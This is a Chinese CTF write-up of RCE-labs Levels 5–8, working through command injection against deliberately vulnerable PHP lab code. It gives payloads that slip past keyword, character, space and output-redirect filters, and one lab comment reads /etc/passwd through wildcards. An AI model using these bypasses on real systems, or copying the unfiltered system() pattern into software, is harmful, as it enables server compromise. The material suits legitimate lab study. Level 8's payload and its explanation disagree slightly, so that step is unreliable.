【RCELABS】Level 5~8 —— 命令执行
【RCELABS】Level 5~8 —— 命令执行
- 前言
- RCELABS - 5:黑名单式过滤
- RCELABS - 6:通配符匹配绕过
- RCELABS - 7:空格过滤
- RCELABS - 8:文件描述和重定向
- 总结
- 免责声明
前言
本次练习靶场RCE-labs 出自探姬(ProbiusOfficial)的 HelloCTF 开源项目。
命令注入是Web安全与CTF Web题型高频考点,本部分Level5~8聚焦各类过滤场景下的命令执行绕过,循序渐进展示空格过滤、关键字过滤、正则拦截等常见防护绕过思路,适合系统梳理命令注入各类Payload。
文中所有分析、Payload仅在自行部署的本地靶场环境学习练习,仅作为个人学习笔记分享。严禁将文中方法使用于任何未授权目标,自觉遵守《网络安全法》等相关法律法规。
整篇笔记统一采用源码分析→漏洞原理→Payload与利用步骤结构,方便后续复盘查阅。
开源仓库:https://github.com/ProbiusOfficial/RCE-labs
RCELABS - 5:黑名单式过滤
题目描述
- 考点:引号、通配符与文件名匹配绕过
- 描述:用空字符串、通配符和文件名匹配拼出受限命令,绕过简单黑名单。
<?php/* # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-08-11 14:34 # @Repo: github.com/ProbiusOfficial/RCE-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com --- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 --- 在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。 例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。 *(星号): 匹配零个或多个字符。例子: *.txt。 ?(问号): 匹配单个字符。例子: file?.txt。 [](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。 [^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。 {}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。 通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤: system("c''at /e't'c/pass?d"); system("/???/?at /e't'c/pass?d"); system("/???/?at /e't'c/*ss*"); ... */functionhello_shell($cmd){if(preg_match("/flag/",$cmd)){die("WAF!");}system($cmd);}isset($_GET['cmd'])?hello_shell($_GET['cmd']):null;highlight_file(__FILE__);?>源码分析
if(preg_match("/flag/",$cmd)){die("WAF!");}system($cmd);正则拦截参数中出现flag字符串,直接阻断执行;参数可控直接传入system()执行系统命令。
利用原理
- Shell中空引号
''、""会被解析为空字符,不影响命令执行,拆分关键字绕过匹配; *、?等通配符可以模糊匹配文件名,不需要完整书写路径名称。
Payload(GET)
方式1:引号拆分关键字
?cmd=cat /fl''ag方式2:通配符模糊匹配
?cmd=cat /fl*?cmd=cat /?lag成功获取flag:flag{pulvbqmx-wicb-4ox-8qmh-uepqiuaon0mmr}
补充拓展
同理还可以使用双引号c""at /fl""ag,两种引号可以自由组合。
注意:过滤仅在PHP层面匹配传入参数,Shell解析后的内容不会二次检测。
RCELABS - 6:通配符匹配绕过
题目描述
- 考点:命令执行 严格字符黑名单绕过
- 描述:大量字母、符号被拦截,仅能使用有限字符,依靠Shell通配符完成命令执行。
<?php/* # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-08-11 14:34 # @Repo: github.com/ProbiusOfficial/RCE-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com --- HelloCTF - RCE靶场 : 挑战关 --- 刚才,学了什么来着!? */functionhello_shell($cmd){if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$cmd)){die("WAF!");}system($cmd);}isset($_GET['cmd'])?hello_shell($_GET['cmd']):null;highlight_file(__FILE__);?>源码分析
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$cmd)){die("WAF!");}system($cmd);正则过滤大小写字母与大量常用符号;
仅允许字符a、?、数字;禁止 /、空格、其余字母、各类符号,利用 Shell 通配符完成利用。
我们在kali里面使用echo /???/??????可以看到大量的我们可以使用的工具
那么我们可以选择几种payload
使用 /bin/base64 /flag
/???/?a??64 /??a?这里拿到的base64编码直接拿去解密就行了
使用 /bin/cat /flag
/bin/?a? /??a?这里ctrl+f直接搜索flag
这里成功获取到flag:flag{phc5zlig-xuv8-4sy-8uq1-bfmdhpge3bovd}
RCELABS - 7:空格过滤
题目描述
- 考点:空格过滤绕过
- 描述:使用 $IFS、%09、重定向等手法替代空格分隔参数。
<?php/* # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-08-11 14:34 # @Repo: github.com/ProbiusOfficial/RCE-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com --- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 --- 在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。 */functionhello_shell($cmd){if(preg_match("/flag| /",$cmd)){die("WAF!");}system($cmd);}isset($_GET['cmd'])?hello_shell($_GET['cmd']):null;highlight_file(__FILE__);?>源码分析
if(preg_match("/flag| /",$cmd)){die("WAF!");}system($cmd);两条过滤规则:不能出现flag,不能直接写空格。参数直接传入system()执行系统命令。
利用原理详解
- WAF检测机制:PHP的
preg_match只会检查HTTP提交的原始字符串,不会执行、解析Shell语法。最终命令解析工作由Linux Shell完成,解析后的内容不会再次经过WAF检测,这是所有绕过成立的基础。 - 空格限制解决方案:Shell不只有普通空格作为分隔符。内置变量
$IFS默认包含空格、Tab、换行;%09是Tab字符URL编码;<属于重定向符号,可以直接衔接命令与文件,不需要分隔符;{}是bash特有语法,逗号自动充当分隔。 flag关键字限制解决方案:Shell会直接忽略空引号'',原始字符串书写fl''ag,PHP检测不到连续完整flag;Shell执行时消除空引号,自动拼接为flag。
Payload(GET)详解
方式1:$IFS替代空格
?cmd=cat$IFS/fl''ag原始字符串无空格、无完整flag。Shell执行时$IFS自动替换为空格,等价执行cat /flag。推荐通用写法${IFS},避免部分环境变量解析异常。
方式2:Tab 制表符 %09
?cmd=cat%09/fl''ag%09是Tab的URL编码,Tab在Shell中和空格功能等效,原始数据不存在空格字符。
方式3:输入重定向<
?cmd=cat</fl''ag<作用是把文件内容输入给cat,语法本身不需要分隔符号,直接紧贴命令和路径,完美避开空格限制。
方式4:bash 大括号语法
?cmd={cat,/fl''ag}仅在bash环境生效,大括号内逗号自动充当分隔符,底层等价cat /fl''ag,不适用sh环境。
核心:WAF 只检测原始参数字符串,Shell 层面的语法解析不会被二次校验。
最终获取flag:flag{3ft6ftvw-t2vx-4db-8xpu-mivjwuuwxzqsq}
RCELABS - 8:文件描述和重定向
题目描述
- 考点:输出重定向
- 描述:利用 >/dev/null 2>&1 隐藏回显,完成命令执行。
<?php/* # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-08-11 14:34 # @Repo: github.com/ProbiusOfficial/RCE-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com --- HelloCTF - RCE靶场 : 命令执行 - 重定向 --- 大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。 如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null: $ command > /dev/null /dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。 如果希望屏蔽 stdout 和 stderr,可以这样写: $ command > /dev/null 2>&1 */functionhello_shell($cmd){/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/system($cmd.">/dev/null 2>&1");}isset($_GET['cmd'])?hello_shell($_GET['cmd']):null;highlight_file(__FILE__);?>源码分析
后端接收cmd参数后,直接在末尾拼接固定字符串>/dev/null 2>&1,最终执行语句格式:
[用户输入]>/dev/null2>&1我们先记住知识点:1代表正常输出,2代表错误输出,/dev/null相当于垃圾桶。执行cmd >/dev/null 2>&1时,第一步执行cmd 1>/dev/null,将1号正常输出丢入垃圾桶,但此时2号错误输出依旧输出到屏幕;接着执行2>&1,让2号错误输出跟随此刻1号指向的位置也就是垃圾桶,最终正常内容、报错信息全部丢入垃圾桶,页面不会出现任何输出。
利用原理
先拆解>/dev/null 2>&1是什么:
| 符号 | 含义 |
|---|---|
> | 输出重定向,把命令的执行结果写到后面的文件里 |
/dev/null | Linux 黑洞文件,写进去的内容直接丢弃,读不出来 |
2>&1 | 把错误输出也重定向到标准输出,一起丢进黑洞 |
完整效果:命令执行了,但正常输出和报错全部扔掉,页面什么都不显示。
后端拼接逻辑:
[你输入的命令]+>/dev/null2>&1你传cat /flag,实际执行的是:
cat/flag>/dev/null2>&1命令确实执行了,但结果全被丢进黑洞,页面看不到 flag。
绕过思路:想办法让重定向不再作用于我们的命令
| 方法 | URL编码 | Payload示例 | 原理 |
|---|---|---|---|
注释# | %23 | cat /flag%23 | #后面全是注释,重定向直接被忽略 |
分号; | %3B | cat /flag%3B | ;分割两条命令,前半段cat /flag正常输出,后半段空命令加重定向不影响 |
换行%0a | %0a | cat /flag%0a | 换行分割命令,第一行正常输出,第二行重定向不影响上一行 |
逻辑与&& | %26%26 | cat /flag%26%26ls | 先执行cat /flag输出 flag,成功了才执行后面被重定向的 ls |
核心:所有能"断开"命令的 Shell 语法,都能让末尾的重定向不再管我们的目标命令。
Payload(GET)
?cmd=cat /flag;最终服务端拼接后实际执行命令:
cat /flag;>/dev/null 2>&1Shell解析:#将后面全部内容注释,仅执行cat /flag,正常输出flag。
备选方案(部分环境;需要URL编码)
?cmd=cat /flag%3B核心:利用Shell注释语法截断后端自动追加的重定向语句,解除输出屏蔽。
最终获取flag:flag{ewiahnh2-ysxp-4dy-8o4v-antaokbto73rh}
总结
Level5核心是关键字黑名单绕过,利用Shell空引号特性,书写fl''ag,原始字符串不存在连续flag避开WAF匹配,Shell执行时自动消除空引号拼接成完整单词。
Level6严苛字符过滤场景,大量字母与符号被拦截,仅放行a、?、数字,依靠?单字符通配符匹配路径,载荷文本不含黑名单字符完成命令执行。
Level7针对空格过滤,WAF禁止直接输入空格,可使用$IFS、%09(Tab)、<重定向等字符充当分隔符替代空格,搭配引号拆分fl''ag同时解决两个过滤限制。
Level8难点是后端强制拼接>/dev/null 2>&1,这条语句先将正常输出丢入黑洞,再把错误输出同步指向黑洞,全部回显都会被丢弃;可以使用;、#等Shell语法分割/截断命令,让追加的重定向语句不再作用于目标指令,正常获取执行结果。
通用底层逻辑:所有WAF仅检测HTTP传输的原始字符串,不会解析执行Shell语法;只要传入文本不含黑名单内容,Shell运行阶段生成危险指令不会被二次拦截。
免责声明
本文所涉及的命令执行漏洞原理、测试 Payload 仅允许在个人本地合法靶场环境学习、复现。未经授权对任何公网目标开展渗透、命令注入测试均属于违法行为,由此产生的一切法律责任由操作人自行承担。